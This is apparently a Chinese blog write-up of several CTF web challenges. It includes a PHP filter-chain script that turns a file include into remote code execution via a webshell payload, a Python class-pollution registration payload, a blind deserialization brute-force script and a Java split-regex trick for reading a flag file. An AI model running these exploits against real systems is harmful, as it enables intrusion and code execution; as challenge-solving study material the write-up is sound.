#要执行的命令
command = "cat /ffffffllllag"

#两个分号避开了最终 base64 编码中的斜杠
#<?=`$_GET[0]`;;?>
base64_payload = "PD89YCRfR0VUWzBdYDs7Pz4"

conversions = {
'R': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.MAC.UCS2',
'B': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.CP1256.UCS2',
'C': 'convert.iconv.UTF8.CSISO2022KR',
'8': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2',
'9': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.ISO6937.JOHAB',
'f': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.SHIFTJISX0213',
's': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L3.T.61',
'z': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.NAPLPS',
'U': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.CP1133.IBM932',
'P': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.857.SHIFTJISX0213',
'V': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.851.BIG5',
'0': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.1046.UCS2',
'Y': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UCS2',
'W': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.851.UTF8|convert.iconv.L7.UCS2',
'd': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UJIS|convert.iconv.852.UCS2',
'D': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.SJIS.GBK|convert.iconv.L10.UCS2',
'7': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.866.UCS2',
'4': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.IEC_P271.UCS2'
}


# generate some garbage base64
filters = "convert.iconv.UTF8.CSISO2022KR|"
filters += "convert.base64-encode|"
# make sure to get rid of any equal signs in both the string we just generated and the rest of the file
filters += "convert.iconv.UTF8.UTF7|"


for c in base64_payload[::-1]:
filters += conversions[c] + "|"
# decode and reencode to get rid of everything that isn't valid base64
filters += "convert.base64-decode|"
filters += "convert.base64-encode|"
# get rid of equal signs
filters += "convert.iconv.UTF8.UTF7|"

filters += "convert.base64-decode"

final_payload = f"php://filter/{filters}/resource={file_to_use}"

r = requests.get(url, params={
"0": command,
"action": "xxx",
"file": final_payload
})

print(r.text)

运行得到flag

最后flag为

1
SYC{The PhpFFffilter 0n File-include vulnerabilities is s0 Amazing!!#@##}

ezpython

题目描述:

1
can you pollute me?

开启环境

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
import json
import os

from waf import waf
import importlib
from flask import Flask,render_template,request,redirect,url_for,session,render_template_string

app = Flask(__name__)
app.secret_key='jjjjggggggreekchallenge202333333'
class User():
def __init__(self):
self.username=""
self.password=""
self.isvip=False


class hhh(User):
def __init__(self):
self.username=""
self.password=""

registered_users=[]
@app.route('/')
def hello_world(): # put application's code here
return render_template("welcome.html")

@app.route('/play')
def play():
username=session.get('username')
if username:
return render_template('index.html',name=username)
else:
return redirect(url_for('login'))

@app.route('/login',methods=['GET','POST'])
def login():
if request.method == 'POST':
username=request.form.get('username')
password=request.form.get('password')
user = next((user for user in registered_users if user.username == username and user.password == password), None)
if user:
session['username'] = user.username
session['password']=user.password
return redirect(url_for('play'))
else:
return "Invalid login"
return redirect(url_for('play'))
return render_template("login.html")

@app.route('/register',methods=['GET','POST'])
def register():
if request.method == 'POST':
try:
if waf(request.data):
return "fuck payload!Hacker!!!"
data=json.loads(request.data)
if "username" not in data or "password" not in data:
return "连用户名密码都没有你注册啥呢"
user=hhh()
merge(data,user)
registered_users.append(user)
except Exception as e:
return "泰酷辣,没有注册成功捏"
return redirect(url_for('login'))
else:
return render_template("register.html")

@app.route('/flag',methods=['GET'])
def flag():
user = next((user for user in registered_users if user.username ==session['username'] and user.password == session['password']), None)
if user:
if user.isvip:
data=request.args.get('num')
if data:
if '0' not in data and data != "123456789" and int(data) == 123456789 and len(data) <=10:
flag = os.environ.get('geek_flag')
return render_template('flag.html',flag=flag)
else:
return "你的数字不对哦!"
else:
return "I need a num!!!"
else:
return render_template_string('这种神功你不充VIP也想学?<p><img src="{{url_for(\'static\',filename=\'weixin.png\')}}">要不v我50,我送你一个VIP吧,嘻嘻</p>')
else:
return "先登录去"

def merge(src, dst):
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)



if __name__ == '__main__':
app.run(host="0.0.0.0",port="8888")

参考

Python原型链污染变体(prototype-pollution-in-python) - 跳跳糖

构造原型化污染,对/register接口进行操作

思路:污染 isVip 为 True,这里采取编码绕过

1
2
3
/register

{"username":"yiqing","password":"yiqing","__class__" : {"__base__" : {"is\u0076ip" : 1}}}

再登录访问 /flag,绕过判断:/flag?num=123456789%0a,查看源码得到flag

最后flag为

1
GEEK{8ffdf04d-4f1a-4915-8f65-6c08562b43b4}

klf_3

题目描述:

1
”好好好这都给你们做出来了,这次我拜托了pursue0h帮我收集了你们前几次的payload,这次绝对不可能让你们做出来,你们绝对是klf“

没话讲,直接用klf_2的脚本获得flag

最后flag为

1
GEEK{d43436bd-fa02-4734-85e1-f6932473c3f3}

Akane!

题目描述:

1
最适合梅菲斯特的一题

开启环境

无利用点的反序列化

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
import requests
import string
import base64

url = 'http://80-8ad51f53-171b-4918-a0e4-9e304b3fd878.challenge.ctfplus.cn/?tuizi='
filename = '/var/www/html/The************************.php'
dic = string.printable

name = ''
for i in range(24):
for j in dic:
guess = f'glob:///var/www/html/The{name+j}{"*"*(23-len(name))}.php'
payload = f'O:7:"Hoshino":2:{{s:4:"Ruby";O:4:"Idol":1:{{s:5:"Akane";s:{len(guess)}:"{guess}";}}}}'.encode()
r = requests.get(f'{url}{base64.b64encode(payload).decode()}')
if 'Kurokawa Akane' in r.text:
name += j
print(name)
break

print(name)

运行得到 TheS4crEtF1AgFi1EByo2takuXX.php

访问/TheS4crEtF1AgFi1EByo2takuXX.php得到flag

最后flag为

1
GEEK{094cd070-c211-47ce-aa99-784da5a25f33}

java

题目描述:

1
不一样的Java反序列化,想办法读取到admin的真正secret吧(java的String.split好像有点特殊)

开启环境

admin 123456

登录

controller/home.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
package com.example.springwebdemo.controller;

import com.example.springwebdemo.redis;
import com.example.springwebdemo.input;
import com.example.springwebdemo.model.User;
import com.example.springwebdemo.output;
import org.springframework.stereotype.Controller;
import org.springframework.ui.Model;
import org.springframework.web.bind.annotation.*;
import org.springframework.web.servlet.mvc.support.RedirectAttributes;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpSession;
import java.io.*;
import java.nio.file.Files;
import java.nio.file.Path;
import java.nio.file.Paths;
import java.util.Base64;
import java.util.Map;

@Controller
public class home {

@RequestMapping(value = "/",method = RequestMethod.GET)
public String index(HttpSession session) throws IOException {
return "home";
}
@RequestMapping(value = "/error",method = RequestMethod.GET)
public String error(){
return "error";
}
@RequestMapping(value = "/login",method = RequestMethod.POST)
public String login(HttpSession session, HttpServletRequest request, RedirectAttributes redirectAttributes) throws Exception {
String username = request.getParameter("username");
String password = request.getParameter("password");
if (username.equals("admin") && password.equals("123456")){
session.setAttribute("user", username);
if (redis.get(session.getId()+"admin") == null){
User u = new User();
u.name ="admin";
u.sex = "男";
u.age = 10;
redis.save(session.getId()+"admin",marshalinfo(u));
}
return "redirect:admin";
}else {
session.setAttribute("user", "");
redirectAttributes.addAttribute("msg","登录失败");
return "redirect:error";
}
}

@RequestMapping(value = "/admin",method = RequestMethod.GET)
public String admin(HttpSession session, RedirectAttributes redirectAttributes, Model model) throws Exception{
Object user = session.getAttribute("user");
if (user == null || user.toString().equals("")){
redirectAttributes.addAttribute("msg","请先登录");
return "redirect:error";
}
String name = user.toString();
User userinfo = (User)new input(new ByteArrayInputStream(Base64.getDecoder().decode(redis.get(session.getId()+name)))).readObject();
Path path = Paths.get(userinfo.secretFile);
if (!path.startsWith("/tmp")){
redirectAttributes.addAttribute("msg","secret must be under /tmp");
return "redirect:error";
}
byte[] secret = Files.readAllBytes(path);
model.addAttribute("user",userinfo);
model.addAttribute("secret",new String(secret));
return "admin";
}
@RequestMapping(value = "/marshalinfo",method = RequestMethod.POST)
@ResponseBody
public String marshalinfo(User u) throws Exception {
u.secretFile ="/tmp/admin_secret";
ByteArrayOutputStream out = new ByteArrayOutputStream();
output o = new output(out);
o.writeObject(u);
return Base64.getEncoder().encodeToString(out.toByteArray());
}
@RequestMapping(value = "/invoke",method = RequestMethod.POST)
@ResponseBody
public String save(HttpSession session,@RequestBody Map<String, String> info) throws Exception {
Object user = session.getAttribute("user");
if (user != null && !user.equals("")){
String action = info.get("action");
switch (action){
case "update":
try{
String data = info.get("data");
User newInfo = (User)new input(new ByteArrayInputStream(Base64.getDecoder().decode(data))).readObject();
User oldInfo = (User)new input(new ByteArrayInputStream(Base64.getDecoder().decode(redis.get(session.getId()+user.toString())))).readObject();
oldInfo.name = newInfo.name;
oldInfo.sex = newInfo.sex;
oldInfo.age = newInfo.age;
oldInfo.hash = newInfo.hash;
ByteArrayOutputStream out = new ByteArrayOutputStream();
output o = new output(out);
o.writeObject(oldInfo);
redis.save(session.getId()+user.toString(),Base64.getEncoder().encodeToString(out.toByteArray()));
return "更新成功 name、sex、age成功";
}catch (Exception e){
return "更新失败: "+e;
}
default:
return "受支持action: " +action;
}
}else {
return "请先登录";
}
}
}

model/User.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
package com.example.springwebdemo.model;

import org.springframework.util.StringUtils;

import java.io.ObjectOutputStream;
import java.io.Serializable;
import java.lang.reflect.Field;
import java.util.ArrayList;

public class User implements Serializable {

public static String separator = "O.o";
public String hash = "";
public String name = "张三";
public String sex = "男";
public int age;
public String secretFile ="/tmp/admin_secret";

public String getName() {
return name;
}

public void setName(String name) {
this.name = name;
}

public String getSex() {
return sex;
}

public void setSex(String sex) {
this.sex = sex;
}

public int getAge() {
return age;
}

public void setAge(int age) {
this.age = age;
}

public String getSecretFile() {
return secretFile;
}

public void setSecretFile(String secretFile) {
this.secretFile = secretFile;
}

private void readObject(java.io.ObjectInputStream s)
throws Exception{
String data = (String) s.readObject();
Field[] fields = this.getClass().getFields();
if (StringUtils.countOccurrencesOf(data, User.separator) != fields.length-2){
throw new Exception(String.format("`%s` is the separator of the split method, the number of `%s` occurrences must be "+(fields.length-2),User.separator,User.separator));
}
String[] splits = data.split(User.separator);

for (int i = 1; i < fields.length; i++) {
if(fields[i].getType().getName().equals("int")){
fields[i].set(this,Integer.parseInt(splits[i-1]));
}else{
fields[i].set(this,splits[i-1]);
}
}
this.hash = (String) s.readObject();
if (StringUtils.countOccurrencesOf(this.hash, User.separator) != 0){
throw new Exception("hash cont content O.o");
}
}
private void writeObject(ObjectOutputStream os)
throws Exception{
Field[] fields = this.getClass().getFields();
ArrayList<String> datas = new ArrayList<>();
for (int i = 1; i < fields.length; i++) {
if(fields[i].getType().getName().equals("int")){
datas.add(String.valueOf(fields[i].get(this)));
}else{
datas.add(fields[i].get(this).toString());
}
}
os.writeObject(String.join(User.separator,datas));
os.writeObject(String.join("-",datas));
}
}

利用了java中String.split的特性,他是正则匹配给定字符串中存在的分隔符,而这里给的是分隔符是O.o,在正则匹配的模式中.(点)会被匹配成任意字符,所以我们可以使用任意字符来代替.(点),从而自己操控分割后的东西

在名字那一栏输入111Oxoyiqing01Oxo1Oxo19Oxo/tmp/flagOxo111

点击保存得到flag

最后flag为

1
GEEK{7ab4d5e1-65f5-413a-ae25-f577c7e089ed}


文章作者: yiqing
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 yiqing !
  目录